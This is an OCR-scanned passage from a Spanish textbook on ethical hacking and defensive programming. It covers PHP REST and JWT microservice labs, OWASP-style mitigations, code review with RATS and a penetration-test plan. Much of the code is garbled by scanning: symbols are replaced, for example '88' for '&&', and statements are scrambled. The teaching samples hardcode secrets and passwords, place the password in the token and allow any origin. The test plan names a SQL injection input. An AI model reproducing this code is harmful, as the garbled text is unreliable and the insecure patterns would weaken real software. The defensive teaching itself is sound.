PutReservaciónApi .php? ; 
$curl = curl_init($servicio_url); 
$curl_post_datos = array( 

“mensaje? => “Probando 1,2,3”, 

‘método’ => “PUT”, 

“apiClave”? => “1234567890” 
); 
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
curl_setopt($curl, CURLOPT_POST, true); 
curl_setopt($curl, CURLOPT_POSTFIELDS, $curl_post_datos); 
$curl_respuesta = curl_exec($curl); 
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if ($curl_respuesta === false) { 
$info = curl_getinfo($curl); 
curl_close($curl); 
die(“Error: < . var_export($info)); 
} 
curl_close($curl); 
$descifrado = json_decode($curl_respuesta,true); 
if (isset($descifrado->respuesta->estado) 88 $descifrado- 


>respuesta->estado == “ERROR”> Y 
die(“Error: * . $descifrado->respuesta->mensajeDeError); 


echo $descifrado[“mensaje”]; 
echo “<br>Código http: “.$fdescifrado[“código_http”]; 


?> 


LABORATORIO 719 PutReservcionesApi 2 


Codifica el siguiente script y guárdalo con el nombre de PutReservaciónApi.php 
en la carpeta REST/Reservaciones 


<?php 
class PutReservaciónApit 
public $datosAretornar = 
public function __construct()Í 
} 
public function putServicioO{ 
if(issetC($_POST[“apiClave”7) 8% 
$_POST[ “apiClave”]!==*1234567890” 88, 
$_POST[ “método” 7!==*PUT*34 
$datosAretornar = array( 
“mensaje” => “Servicio no disponible”, 
“código_http” => “401” 


(12) . 
> 


); 
}else{ 
$datosAretornar = array( 
“mensaje” => “Servicio PUT ejecutado”, 
“clave” => $_POST[‘apiClave’], 
“código_http” => “200” 


); 
} 
$datosAretornar = json_encode($datosAretornar); 
if($datosAretornar !=”*) echo $datosAretornar; 
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// solicitar servicio PUT 
$api = new PutReservaciónApi(); 
$api->putServicio(); 

?> 


Prueba estos dos scripts en tu localhost. Teclea lo siguiente en la barra de tu 
navegador: 


localhost/REST/Reservaciones/putReservación.php 
El resultado deberá ser el siguiente: 


Servicio PUT ejecutado. 
Código http: 200 


Control de acceso 


La GetReservationApi al igual que la API de geocode en maps.googleapis.com es un 
servicio público. Un servicio REST que no sea público debe contener controles de acceso 
en todos los puntos finales de la API. En otras palabras, las decisiones sobre dichos con- 
troles deben efectuarse localmente en cada punto final de la API. Un proveedor de iden- 
tidad central (Identity Provider o IdP) distribuye token para la autenticación de usuarios, 
aplicaciones u otros servicios. Estos token deben verificarse a su vez en cada servicio, 
éste se realiza solamente si el token es correcto. 


OWASP REST Security Sheet 


OWASP nos ofrece un resumen sobre cómo asegurar REST API el cual se encuentra en 
el siguiente enlace: 


https: //www.owasp.org/index.php/REST_Security_Cheat_Sheet 


Microservicios con RESTful API 


Un microservicio es un enfoque en el desarrollo de software donde se construyen aplica- 
ciones grandes en microservicios modulares e independientes. Cada módulo ejecuta un 
proceso específico y comunica éste vía un definido mecanismo de peso liviano llamado 
Identity Provider (IdP). 


7.7.7 Jason Web Token (JWT) 


JWT oauth2 protocolo de autorización 


Un token JWT (JSON Web Token) es una estructura de datos JSON con credenciales 
del usuario que se utiliza para gestionar acceso a aplicaciones o servicios. Es una firma 
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criptográfica para proteger la integridad del token JWT. En el siguiente enlace existen 
bibliotecas en casi todos los lenguajes de programación para firmar y verificar tokens. 


https: //jwt.10/ 


En los siguientes pasos ilustramos el uso de JWT token basándonos en la figura 7.7. 
Tomamos como punto de partida el resumen OWASP para la seguridad de REST API. La 
arquitectura es la siguiente: 


Aplicación 


md Proveedor š ' 
EEN ; 


de 


Indentidad 
contenido Es 


(IdP) 


Usuario 


Servicios remotos 


Figura 7.7 Arquitectura de microservicios 


La arquitectura consta de tres entidades: la aplicación que hace uso de los microservi- 
cios, el proveedor de identidades (IdP) o servidor con el rol de intermediario y el servidor 
de servicios. La secuencia es la siguiente: 


La aplicación solicita un token JWT 

El servidor IdP verifica las credenciales, crea y envía un token JWT a la aplicación 
La aplicación hace uso del token JWT para solicitar un servicio 

El IdP verifica el token JWT y envía la solicitud al servidor de servicios 


+% .. . è 


En esta construcción realiza la aplicación una solicitud a una API o microservicio con 
el token adjunto. El IdP descifra el token y verifica si de hecho proviene de un usuario 
autorizado. 


Ejemplos clásicos de aplicaciones que hacen uso de microservicios son las que com- 
paran precios tales como: 


+ Boletos de aerolíneas 
+ Agencias de viajes 
+ Reservaciones de hoteles 


Estas aplicaciones comparan precios con el uso de microservicios ofrecidos por aerolí- 


neas y cadenas de hoteles, y brindan la información de vuelos o habitaciones disponibles 
a sus clientes. 
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7.7.8 Proyecto Bazar de ciudades 


Para este proyecto construyes la aplicación ‘Bazar de ciudades’ que ofrece paquetes de 
viajes a distintas ciudades con el uso de microservicios. La aplicación debe preveer los 
siguientes escenarios: 


+ El usuario navega hacia la página pública de la aplicación ‘Bazar de ciudades’ y 
hace clic sobre el botón Paquetes 

+ La aplicación envía la solicitud con token JWT adjunto hacia el IdP 

+ El ldP verifica el token 

+ El API microservicio consulta la base de datos y envía al usuario información sobre 
paquetes de viajes a distintas ciudades 


2-F Autenticación con JWT 


La aplicación debe tener un sistema de autenticación 2-F en PHP con controles de pun- 
to-final a punto-final. La estructura de carpetas podría ser como se muestra enseguida: 


+ localhost 
Bazar [carpeta] 

+ index.php 

+ getCiudades.php 

+  ldP [carpeta] 
- IdP.php 
- ldC.php 
- jwt_helper.php 
- jwt_generator.php 
- microservicios [carpeta] 

getCiudadesApi.php. 


Como primer paso, bajas la clase JWT en PHP desde el siguiente enlace y la guardas en 
la carpeta IdP: 


https://github.com/rmcdaniel/angular-codeigniter-seed/blob/master/api/application/ 
helpers/jwt_helper.php 


Enseguida codificas los siguientes ejercicios de laboratorio: 


LABORATORIO 7.20 index del Bazar A 
Codifica lo siguiente y guárdalo con el nombre index.php en la carpeta Bazar. 
<?php 

echo “Elija un servicio<br />”; 


echo “<a href=*getCiudades.php*>Paquetes de ciudades</a>”; 
?> 
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Codifica el siguiente script y guárdalo con el nombre getCiudades.php en la 
carpeta Bazar. 


<?php 

include_once(“IdP/IdP.php”); 

$aplicación = “Bazar”; 

$contraseña = “123”; 

$credenciales = array); 

$credenciales [‘aplicación’] = $aplicación; 
$credenciales [‘contraseña’] = $contraseña; 
$credenciales [‘caducidad’] = time() + (60*60); 
$idp = new IdP($credenciales); 

$token = $idp->getToken(); 


Hemos creado un arreglo con las credenciales de la aplicación ‘Bazar’, las cuales deben 
ser conocidas en el IdP, éste retorna a la aplicación un token JWT basado en las creden- 
ciales. Enseguida vemos el código del proveedor de identidad: 


LABORATORIO 7.21 IdP 2 
Codifica el siguiente script y guárdalo con el nombre IdP.php en la carpeta IdP. 


<?php 
include_once(“jwt_helper.php”>; 


class IdP extends JWTÍ 
protected $credencialesDelPortador = “”; 
protected $tokenDelPortador = “” ; 
protected $credenciales = “”; 
public function __construct($credencialesDelPortador)f 
$this->credencialesDelPortador = 
$credencialesDelPortador; 


public function getToken()4 
$token = JWT: :encode($this->credencialesDelPortador, 


“secret_server_keys”); 
return $token; 


?> 


Previamente hemos instanciado la clase IdP dentro del script getCiudades . php con las 
credenciales de la aplicación ‘Bazar’, las cuales llamamos ‘credencialesDelPortador’. El 
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portador es getCiudades.php. Con estas credenciales y con secret-server-key se ge- 
nera un token JWT con el que se puede realizar una solicitud a un microservicio; esto se 
lleva a cabo con la herramienta Curl de la siguiente manera: 


LABORATORIO 7.22 Continuación de getCiudades.php 2 


Abre getCiudades.php en la carpeta Bazar y agrega los siguientes 
comandos Curl. 


$APIurl = “http://localhost/Bazar/IdP/microservicios/ 
GetCiudadesApi .php”; 


// crear Curl handle (ch) al recurso url 
$ch = curl_initC$APlurl); 


// definir opciones HEADER 

curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY); 

curl_setopt($ch, CURLOPT_USERPWD, “Saplicación: $contraseña”); 
curl_setopt($ch, CURLOPT_HTTPHEADER, array(“Autorización: Portador 
“ Stoken)»); 


Hemos definido el servicio API y creado el Curl handle ($ch) con el recurso APlurl, 
además de las opciones del HEADER utilizando el método curl_setopt. Al final, pro- 
porcionamos el token que recibimos en el primer laboratorio. 


LABORATORIO 7.23 Continuación de getCiudades.php fal 


Abre getCiudades.php en la carpeta Bazar y agrega los siguientes 
comandos Curl. 


// datos post 
$curl_post_datos = array( 


‘apiClave?’? => ‘1234567890’, 
“aplicación” => $aplicación, 


‘contraseña’ => $contraseña); 


// habilitar método post 
curl_setopt($ch, CURLOPT_POSTFIELDS, $curl_post_datos); 


// presentar respuesta en forma de texto 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
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// solicitar servicio 
$respuesta = curl_exec($ch); 


Hemos habilitado la opción de POSTFIELDS para enviar las credenciales vía HEADER 
como datos del método POST. Luego, se hace que Curl envíe la solicitud de servicio API 
y guardamos la respuesta en la variable $respuesta. Se codifica el microservicio GetCiu- 


dadesApi.php de la siguiente manera: 


LABORATORIO 7.24 GetCiudadesApi 


Libro encontrado en: WWW.eybooks.com 


Gabri 


sl 
Codifica el siguiente API y guárdalo con el nombre GetCiudadesApi.php en la 


carpeta microservicios. 


<?php 
include_once(*../IdC.php”); 


class GetCiudadesApií 
protected $tokenDelPortador = “”; 
protected $credencialesDelPortador = “”; 
protected $datosAretornar = “” ; 
protected $verificado = “”; 
public function __constructO){ 


} 
public function checkToken(){ 
$aplicación = htmlspecialchars($_POST[‘aplicación’]); 


$contraseña = htmlspecialchars($_POST[‘contraseña’]); 


$allHeaders = getallheaders(); 
$allHeaders[‘Authorization’]; 


$authorization = 
list($type, $data) = explode(“ “, $authorization, 2); 
$this->tokenDelPortador = $data; 
$this->credencialesDelPortador = array(); 
$this->credencialesDelPortador[*“aplicación”] = $aplicación; 
= $contraseña; 


$this->credencialesDelPortador[ “contraseña” ] 
$idc = new IdC($this->tokenDelPortador, 


$this->credencialesDelPortador); 
return $idc->decodeToken(); 


f 


Nuestro microservicio ha obtenido las credenciales de la aplicación ‘Bazar además del 
token JWT vía el HEADER. El microservicio solicita al IdC descifrar el token JWT. Ensegui- 


da codificamos el IdC.php de la siguiente manera: 
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LABORATORIO 7.25 /dC.php A 
Codifica el siguienete script y guárdalo con el nombre IdC.php en la carpeta IdP. 


<?php 
include_once(“jwt_helper.php”)>; 


class IdC extends JWT{ 
protected $credencialesDelPortador = “”; 
protected $tokenDelPortador = “” ; 
public function __construct( 
$tokenDelPortador, $credencialesDelPortador>f 
$this->tokenDelPortador = $tokenDelPortador; 
$this->credencialesDelPortador = $credencialesDelPortador; 


} 


public function decodeToken(){ 
$decoded = JWT: :decode($this->tokenDelPortador, 
‘secret_server_keys’ ); 
ifCC$decoded->aplicación == 
$this->credencialesDelPortador[‘aplicación’])&& 
C$decoded->contraseña == 
$this->credencialesDelPortador[‘contraseña’]) && 
C$decoded->caducidad > time )){ 
return true; 
}else{ 
return false; 


} 


?> 


Al crear nuestro token JWT en getCiudades.php hemos utilizado las siguientes 
credenciales: 


$credenciales = array); 
$credenciales[‘aplicación’] = $aplicación; 
$credenciales[ *contraseña”] = $contraseña; 
$credenciales[‘caducidad’] = time) + (60*60); 


En IdP.php hemos descifrado el tokenDel Portador. Esto nos proporcionó las creden- 
cialesDelPortador. Luego hemos comparado las credencialesDelPortador con las 
descifradas. Si las credenciales han sido alteradas retornamos el valor false. En el si- 
guiente paso completamos nuestro microservicio. Aquí retornaremos vía el HEADER de 
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respuesta un mensaje, estatus y el token a la aplicación getCiudades.php que solicita 
nuestro microservicio. 


LABORATORIO 7.26 Continuación de getCiudadesApi 2 


Abre GetCiudadesApi.php en la carpeta microservicios y completa el script 
agregándole los siguientes códigos. 


public function getServicioO{ 
$this->verificado = $this->checkToken(); 
if(!$this->verificado)í 
$this->datosAretornar = array( 
“mensaje” => “Error: Solicitud no autorizada.”, 
“código_http” => “401”, 
“token_del_portador”=>$this->tokenDelPortador 
3; 
}else{ 
$this->datosAretornar = array( 
“mensaje” => “API servicio GET ejecutado.” , 
“código_http” => “200”, 
“token_del_portador”=>$this->tokenDelPortador 
J; 
} 


header( “HTTP/1.1 “.$this->datosAretornar[‘código_http’]); 
header(“Access-Control-Allow-Origin: *”); 
header(“Content-Type:application/json; charset=UTF-8”); 
header(“X-Content-Type-Options: nosniff”); 
header(“Cache-Control: max-age=100”); 
echo json_encode($this->datosAretornar); 
exit; 
} 
} 
// solicitar servicio 
$api = new GetCiudadesApi(); 
$api->getServicio(); 
?> 


LABORATORIO 7.27 Continuación de getCiudades 2 


Abre getCiudades.php en la carpeta Bazar y finaliza el script agregándole los 
siguientes códigos: 


$resultadoEstado = curl_getinfo($ch); 
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// descifrar respuesta en forma de arreglo 
$descifrado = json_decode($respuesta,true); 


echo “<br>Mensaje: “.$descifrado[“mensaje”]; 
echo “«br>Código http: “.$descifrado[“código_http”]; 
echo “«br>Token: “.fdescifrado[“token_del_portador””] ; 


curl_close(ó$ch); 
?> 


Realiza pruebas y depura los scripts de errores. Navega a: localhost/Bazar y elige 
Paquetes de Ciudades. Si todo marchó bien, verás el siguiente resultado: 


Mensaje: API servicio GET ejecutado. 
Código http: 200 
Token: eyJO0eXA¡OiJKV1QILCJhbGciOiJIUZMNIiJ9.eyJhcGxpY2FjaVxIMDBm- 


M24i0iJCYXphcilsIimNvbnRyYXNIXHUwMGYxYSI6I¡EyMylsImNhZHVjaWRhZ- 
CI6MTUyMTA1OTcwMX0.Di41gdJVcexeGd4gKgqgPekxda5Nn9n9gtTGQJ-_XB- 
3bw 


Para depurar errores puedes utilizar el método curl_getinfo(). Por ejemplo: 
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); 

$content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); 

echo “<br>HTTP Content type: “.$fcontent_type; 


Para ver los HEADERS de respuesta puedes hacer lo siguiente: 


$resultadoEstatus = curl_getinfo($ch); 
print_r($resultadoEstatus); 


Para mostrar los datos retornados puedes hacer lo siguiente: 


print_r($descifrado); 


Proyecto Bazar de Ciudades [continuación] 


Necesitamos una base de datos con las credenciales de diferentes aplicaciones que 
quieran hacer uso de nuestros microservicios de paquetes de ciudades. 


Realiza la base de datos credenciales. 
Realiza la base de datos inter. 
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La base de datos inter debe contener información sobre habitaciones disponibles en los 
hoteles de la cadena Inter en diferentes ciudades. 


Codifica nuevamente la API GetCiudadesApi para que la API retorne información so- 
bre habitaciones disponibles. 


Codifica nuevamente getCiudades para que la información sobre las habitaciones dis- 
ponibles sea mostrada de la siguiente manera: 


i 


-r pa 
Barcelona Berlin 
€ 177,- € 174,- € 196,- 


Detalles > Detalles > Detalles > 


Figura 7.8 Aplicación Bazar de Ciudades 


Codifica putCiudades para que utilice PutCiudadesApi donde la base de datos inter 
deba ser actualizada cada vez que se reserva una habitación. 


Uso de claves API 


Los servicios públicos REST sin control de acceso pueden ocasionar alta demanda, lo 
cual puede conducir a un ataque DoS (negación de servicio). Si utilizamos claves API en 
las credenciales de los usuarios podemos controlar las aplicaciones con acceso a nues- 
tros servicios. Por ejemplo: 


$credenciales = array); 
$credenciales[‘aplicación’] = $aplicación; 
$credenciales[ *contraseña”] = $contraseña; 
$credenciales[‘caducidad’] = time() + (60*60); 
$credenciales[‘claveAPI’] = ‘12345’; 


Restricción de métodos HTTP 


Tambien podemos implementar una lista blanca con los métodos http aceptados, GET, 
POST, PUT. Por ejemplo: 


$credenciales[método] = ‘GET’; 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 241 


A 
Capítulo 7 Secure Software Lifecycle (SSLC) ÁA Alfaomega 


De esta manera, solicitudes con métodos no aceptados reciben el siguiente código http: 
Código 405: método no aceptado. 


Validación de entradas 


Implementa una validación de entradas implícita utilizando tipos de datos de entrada 
tales como números, booleanos, fechas. 


Validación de tipos de contenidos en solicitudes /respuestas 


Implementa tipos de contenido en los headers de solicitudes y respuestas. Por ejemplo: 


curl_setopt($ch, CURLOPT_HTTPHEADER,  array( 
“Format:json?”, 
“Accept: application/json; charset=UTF-8*) ); 


Las respuestas siempre deben enviar un Content-Type header con el contenido y charset 
correctos. 


Respuestas con un tipo de contenido incorrecto los calificamos de la siguiente manera: 
Código http 406 “Unacceptable Media Type” o 
Código http 415 “Unsupported Media Type” 


Manejo de errores 


Al reportar errores los mensajes no deben contener call staks o información interna sobre 
los procesos de la aplicación. 


Headers de seguridad 


Para prevenir que los navegadores traten de detectar otro tipo de contenido (sniffen) usa 
la siguiente opción en el header de respuesta: 


X-Content-Type-Options: nosniff 


Registros de auditoría 


Manten los registros de auditoría para errores de validación de entrada, así como los 
registros de auditoría sobre eventos relacionados con seguridad, tales como errores 
de inicio de sesión. Enseguida vemos un ejemplo de una auditoría donde se registran 
distintos eventos: 
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Fecha Hora Dirección-IP Usuario Evento 
20170909 11:05:01 17216160110 desconocido Saca 
inválida 
20170909 11:05:02 17216160110 Solicitud 
inválida 
20170909 11:05:03 192168.1.104 Agencia ABC Cuenta creada 
20170909 11:05:04 1921681.104 Sesión válida 
20170909 11:05:05 17216160110 Agencia ZIP Sesión válida 
20170909 11:05:06 192168.2101 Agencia Q Sesión válida 
; Error de inicio 
20170909 11:05:07 17216160110 e 
de sesión 
20170909 11:05:08 1721616010 Ad TEO 
de sesión 
20170909 11:05:09 17216160110 desconocido Error de inicio 
de sesión 
7.7.9 Mitigaciones 


Mitigación: inyecciones 


La mejor manera de protegerse contra las inyecciones en general es validar la entrada 
correctamente, tanto en el lado del servidor como del cliente. Por ejemplo, elfilter_var 


en PHP o el asistente de validación en ASP.NET. 


La mejor manera de protegerse contra las inyecciones de SQL es usar consultas de 
bases de datos parametrizadas (estas consultas se crean utilizando parámetros como 
PDO, objetos de base de datos PHP). Observa los siguientes ejemplos: 


PHP con MySQLi 


$query=$dbConnection->prepare( “SELECT * FROM table WHERE name = 


2); 


$query->bind_param(*s”, $name); 
$query->execute(); 
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string sql = “SELECT * FROM Customers WHERE Customerld = CCustomerTd”; 
SqlCommand command = new SqlCommand(sql); 

command .Parameters.Add(new SqlParameter(“GCustomerTa”, 
System.Data.SqlDbType.Int)); 

command .Parameters[“ECustomerId”].Value = 1; 


Java 


String custname = request.getParameter(“customerName”); 

String query = “SELECT account_balance FROM user_data WHERE user_ 
name =?”; 

PreparedStatement pstmt = connection.prepareStatementí( query ); 
pstmt.setStringí 1, custname); ResultSet results = pstmt. 
executeQuery( ); 


Otros consejos: 


+ Implementa un sistema de privilegios con algunos de éstos limitados para los 
usuarios del servidor de la base de datos y del servidor web (el llamado “principio 
del menor privilegio”) 


+  Inhabilitarlos servicios innecesarios del servidor y los procedimientos almacenados 
en la base de datos 


Mitigación: Irrupción en la autenticación y sesión 


La autenticación de un usuario es un proceso donde éste se identifica por medio de un 
nombre y contraseña. La mejor manera de evitar errores en el proceso es implementar 
una política de contraseña estricta. 


Un enfoque común es proteger todos los formularios en la aplicación que tengan 
un efecto, es decir, cambiar o eliminar información con un token (etiqueta); éste es una 
clave secreta que sólo el servidor puede saber y que se envía con un formulario cada vez. 
El token se agrega al formulario y se envía con la aplicación. Cuando entra una solicitud, 
el servidor puede verificar si el token es conocido y correcto. Sl un hacker altera el 
token, éste ya no será válido y la aplicación lo rechazará. 


Mitigación: Cross-Site Scripting (XSS) 


La mejor manera de protegerse contra ataques XSS es desinfectar la entrada del usuario 
(to sanitize user input”). En PHP se hace esto de la siguiente manera: 
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PHP 
$message = stripslashes($message); 
$message = mysql_real_escape_string($message); 
$message = htmlspecialchars($message); 


Es una buena práctica desinfectar y aplicar el hash a los datos de entrada antes de alma- 
cenarlos en una base de datos. 


Mitigación: irrupción en el control de acceso 


Las tres formas más comunes de eludir los controles de acceso son: 


+ Navegación forzada. Esto consiste en la evasión de los controles de acceso al 
navegar por URI desprotegidos, para evitarlo se deben realizar comprobaciones 
en todas las páginas con información confidencial. 


+ Recorrido de ruta. Un ataque mediante un recorrido de ruta está dirigido a acceder 
a los archivos y directorios fuera de la trayectoria carpeta-raíz-red (piensa en una 
poligonal, un cruce). Para no caer en ello evita las rutas relativas (../.../map/archivo) 
en la información solicitada. Los hackers pueden acceder a los archivos con esta 
información. 


+ Abuso de permisos de archivos. Para evitarlo se deben verificar los permisos de 
configuración y script predeterminados en el servidor. 


Mitigación: mala configuración de la seguridad 


La mayoría de los servidores web deben parcharse antes de instalar los servicios y aque- 
llos no utilizados deben eliminarse. Las siguientes acciones ayudan contra la mala confi- 
guración de la seguridad: 


Cambiar las cuentas y contraseñas predeterminadas del administrador 

Eliminar las cuentas de invitados 

Escanear los puertos regularmente 

Deshabilitar los servicios de servidor innecesarios 

Realizar los últimos parches de seguridad 

Implementar el principio del menor privilegio: los usuarios sólo tienen acceso a la 
información necesaria para llevar a cabo sus actividades. 


+ 46. è è è + 


Mitigación: exposición de datos sensibles 


Debemos asegurarnos de que la información confidencial, como los datos del paciente, 
los de la tarjeta de crédito y las contraseñas estén protegidos contra la exposición. 
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Los datos confidenciales deben encriptarse y almacenarse 

Las contraseñas deben someterse al hash 

La información confidencial sólo debe ser accesible a los usuarios autorizados 
Usar el protocolo HTTPS para enviar información confidencial 


+ . . +. 


Mitigación: Protección insuficiente contra un ataque 


El software tal como Fail2Ban protege a los servidores SSH y Apache contra los ataques. 
Fail2Ban es una herramienta de código abierto que protege a los servidores, pues blo- 
quea las direcciones IP a las que se intenta irrumpir en el sistema. 


Mitigación: Cross-Site Request Forgery (CSRE, falsificación de solicitudes entre sitios) 


Las aplicaciones que usan tokens (etiquetas) por sesión o por operación están protegidas 
contra la falsificación de solicitudes entre sitios. 


Protege contra los ataques XSS 

Implementa token (etiquetas) por operación y verifica el token en el lado 
del servidor 

Genera token aleatorios (etiquetas aleatorias) 

Envía el token (etiqueta) al servidor en campos HTML ocultos 

El control CAPTCHA ayuda contra CSRF 


Mitigation: Components with known vulnerabilities (Mitigación: componentes 
con vulnerabilidades conocidas) 


Un proyecto de software debe tener un procedimiento que realice un seguimiento de las 
vulnerabilidades de los componentes utilizados de terceras partes. 


+ Identificar todos los componentes utilizados de terceras partes y los números 
de versión 
Averiguar el estado de seguridad de los componentes 
Consultar bases de datos de vulnerabilidades como https://vuldb.com/ 


Mitigación: API desprotegidas 
+ Asegurarse de establecer una conexión segura entre tu aplicación y la API 
+ Asegurarse de que sean seguras las claves y las etiquetas (tokens) para autenticar 
la aplicación con el servicio API 


7.7.10 Proyecto VideoBox [continuación] 


Realizarás la aplicación VideoBox de acuerdo con el diseño funcional y el técnico. Usa la 
siguiente lista de verificación: 
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+ Principios de codificación 
+ Las mejores prácticas de la codificación 
+ Diseño de código contra vulnerabilidades 


7.7.11 Revisión de código 


La revisión del código es la verificación de la implementación de todos los principios de 
diseño de códigos anteriores en tu aplicación. La revisión del código es validada por otros 
programadores y probada por los evaluadores. El revisor verifica el código de seguridad 
y el código funcional al mismo tiempo. Esto sucede en la fase de codificación de SSLC. 
Las revisiones pueden ser manuales y automáticas. 


Análisis automatizado de código 


El análisis de código se puede realizar con una herramienta de análisis de código fuente 
como RATS para (C, C ++, Perl, PHP y Python). 


La instalación de RATS se hace mediante los siguientes pasos: 


wget https://rough-auditing-tool-for- 
security.googlecode.com/f Les/rats-2.4.tgz 
tar -xzvf rats-2.4.tgz 


cd rats-2.4 ./confi gure && make && sudo make install ./rats 


El uso de RATS: 


rats --quiet --xml -w 3 <path_to_source_directory> 


Con las siguientes opciones: 


--xml, --html formato de salida 
-w <1,[2],3> es el nivel de advertencia: 


1. Sólo advertencias de alto nivel 
2. Advertencias de nivel medio y alto 
3. Advertencias de nivel bajo, medio y alto 


Análisis manual de código 


Las herramientas de revisión de código no pueden probar todo; el énfasis debe estar en 
la revisión manual. El revisor debe verificar los estándares de codificación en la aplicación 


y si los controles de seguridad están codificados a partir del modelo de amenaza de la 
fase de análisis. 
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Tabla 7.7 Modelo de amenaza/revisión del código 
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Caso de uso Activo Amenaza Punto de Vulnerabilidad Contraleside: | Revizor 
entrada seguridad 

2. Como Informa- Inyecciones Nueva Los hackers Validación 

correspon- | ción de la Exposición pueden in- de entrada 

sal, deseo cuenta de datos página de | gresar inyec- 

poder personales cuenta ciones SQL 

crear una usando el 

cuenta formulario 

3. Como Cookie de | Autentica- Página Los hackers La cookie 

correspon- | sesión ción/ sesión del perfil pueden ver de sesión 

sal, deseo interrumpida la cookie de debe en- 

poder sesión del viarse a 

cambiar mi usuario en el través de 

perfil encabezado HTTPS 

HTTP 
Y así suce- | Y así suce- | Y así sucesi- 
sivamente sivamente | vamente 


LABORATORIO 7.28 Revisión del código 


a 


En este ejercicio de laboratorio vas a realizar una revisión del código de tu propia 
aplicación o de la aplicación de un colega. Aquí están las listas de verificación 
para el revisor de código. 


Principios de la lista de verificación para la codificación 


9 ©% è è è è 4» 94 4 


Lista de verificación de las mejores prácticas 


Principio de separación de intereses (SoC) 
Economía de mecanismo 
Fail-safe defaults (valores predeterminados a prueba de fallas) 
Mediación completa 
Diseño abierto 
Separación de privilegios 
Principio del menor privilegio 
Mecanismos comunes mínimos 
Defensa en profundidad 


En aras de la exhaustividad, repetimos aquí esta lista que ya se ha dado 
anteriormente. 


1. Codificar funciones compactas 


2. Evitar las construcciones recursivas 
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3. Detectar y evitar fugas de memoria eliminando variables, objetos y oyentes 
no utilizados 


4. Evitar las iteraciones sin fin dando un límite superior máximo a todos los bucles 


5. Usar un máximo de dos aserciones por función; las usamos para probar 
nuestras hipótesis en una función. Una aserción es, por ejemplo: 


if(lAsserción (sesión == true)) {return ERROR; + 


6. Evitar el acceso no autorizado a objetos de datos declarando objetos de datos 
en el espacio interno 


7. Validar los parámetros de entrada de sus funciones y validar los valores 
de retorno 


8. Evitar los preprocesadores 
9. Evitar usar punteros en las funciones 
10.Corrección de errores y manejo de excepciones 
Informe de revisión del código 
El informe de revisión de código debe contener los siguientes elementos: 


+  Portadilla con: 
- Nombre de la empresa 
- Nombre de la aplicación 
- Nombre del diseñador 
- Nombre del revisor 
- Nombre del documento 
- Número de versión 


+ Revisar el modelo de amenazas 
+ Informe 


El informe consta de los siguientes puntos: 
+ Compartir (porcentaje) del código de terceros proveedores 
+ Número de vulnerabilidades encontradas 


Repositorios de software 


GitHub es la compañía anfitriona con el repositorio Git (sistema de control de versiones 
distribuidas) para equipos de desarrollo de software. Crea una cuenta y comparte tus 
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soluciones de software con otros programadores. Hay más sitios especializados para 
programadores, por ejemplo developer.github.com donde se comparte el código. Vale 


la pena consultar los siguientes enlaces: 


https://developer.github.com/v3/auth/ 


https://developer.github.com/v3/guides/basics-of-authentication/ 


7.8 + SSLC: Pruebas pentest 


En esta fase probamos los requisitos funcionales y los de seguridad de la aplicación. En 
relación con los requisitos funcionales establecidos en la etapa de análisis, llevamos a 
cabo una prueba de aceptación. Observa la siguiente tabla. 


Tabla 7.8 Requisitos funcionales 


Caso de uso Como <papel> 


1 Como usuario 


Deseo <funcionalidad> Probador 


Deseo ver los reportajes 
más vistos 


2 Como corresponsal 


3 Como corresponsal 


4 Como corresponsal 


5 Como corresponsal 


6 Y así sucesivamente 


Deseo crear una cuenta 


Deseo poder cambiar 
mi perfil 


Deseo poder subir mis 
reportajes 


Deseo ver un resumen 
de todos mis reportajes 


Basándose en el plan de prueba, llevamos a cabo una manual como en la fase de diseño. 


Observa la siguiente tabla. 


Tabla 7.9 Plan de prueba manual 


Caso de uso Amenaza 
2. Como Inyecciones 
corresponsal, 
deseo poder crear Exposición de 
una cuenta datos personales 


3. Como Autenticación/ 
corresponsal, sesión interrumpida 
deseo poder 
cambiar mi perfil 
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Caso de abuso Probador 


Probaremos CAPTCHA en el 
formulario de crear cuenta 


Ejecutaremos inyecciones 
SQL con ‘OR’ 11 


Iniciaremos sesión como 
corresponsal e intentaremos 
obtener los derechos de 
ADMINISTRADOR 
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4. Como 
administrador, 
quiero hacer 
respaldos diarios 


Y así 
sucesivamente 


Basándose en el plan de prueba, realizamos una automatizada tal como se preparó en 


la fase de diseño. 


Plan de prueba automatizado 


Proveedor y versión Objetivo 


Nombre de la herramienta 


Aplicación de escaneo 


Mapa de SQL 


LABORATORIO 7.29 Pruebas de penetración 2 
En este ejercicio de laboratorio realizarás tres pruebas 


+ Una prueba de aceptación basada en los requisitos funcionales 
+ Una prueba de penetración manual preparada en la fase de diseño 
+ Una prueba de penetración automatizada tal como se preparó en la fase de diseño 


Prueba las siguientes vulnerabilidades: 


Cross site scripting 
Inyección de SQL 

Error de configuración del servidor 
Manipulación de forma 
Intoxicación de cookies 
Vulnerabilidades de plataforma 
Gestión de sesión débil 

Inyección de comandos 


+ è è è è òè è oè 


Informe de la prueba de penetración 


El informe de revisión pentest debe contener los siguientes componentes: 


e Portadilla con: 
- Nombre de la empresa 
- Nombre de la aplicación 
- Nombre del diseñador 
- Nombre de la prueba 
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- Nombre del documento 
- Número de versión 
+ Informe 


El informe consta de los siguientes puntos: 


+ Lista de casos de uso probados y resultados 
+ Lista de vulnerabilidades encontradas 
+ Conclusión sobre el estado de la aplicación 


7.9 + SSLC: Cómo implementar 


La sexta fase del modelo de SSLC consiste en implementar la aplicación, lo cual significa 
proporcionar un número de versión, el lanzamiento y la implementación de la aplicación 
en el servidor. Hacemos esto en cooperación con los gerentes de red del departamento 
de Operaciones. 


LABORATORIO 7.30 Implementación A 
Puntos de verificación para la primera implementación: 


+ ¿Esta implementación afecta otras aplicaciones? 

+ ¿Quiénes son y dónde están los usuarios? 

+ ¿Esta aplicación usa información sensible? 

+ ¿En qué parte de la red está instalada la aplicación? 

+ ¿Hay un servidor dedicado para esta aplicación? 

+ ¿Se transporta información sensible a través de esta aplicación? 


+ ¿Hay alguna consecuencia financiera en el momento en que el sistema se 
ve afectado? 


+ ¿Cuál es el historial de seguridad del sistema operativo que se utilizará? 
+ ¿Por qué alguien querría entrar en la aplicación? 


7.9.1 El modelo DevOps 


Un modelo para el desarrollo de software prometedor que gana popularidad es De- 
vOps (Desarrollo y Operaciones), un proceso en el que se hace hincapié en la comu- 
